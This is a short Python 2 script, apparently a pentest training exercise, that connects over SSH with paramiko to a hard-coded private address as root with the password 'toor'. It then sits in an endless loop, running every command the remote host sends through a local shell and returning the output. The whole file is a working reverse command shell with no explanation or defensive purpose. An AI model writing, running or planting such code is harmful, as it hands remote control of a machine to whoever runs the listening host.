import threading
import paramiko
import subprocess

def ssh_command(ip,port, user, passwd, command):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, port=int(port), username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print ssh_session.recv(1024)
        while True:
            command = ssh_session.recv(1024)
            print "receive command: %s"%command
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                # print "cmd output: %s" %(cmd_output)
                if len(cmd_output) == 0:
                    cmd_output = "OK"
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))

        
    return

ssh_command("192.168.227.131", 8000, "root", "toor", "clientConnected")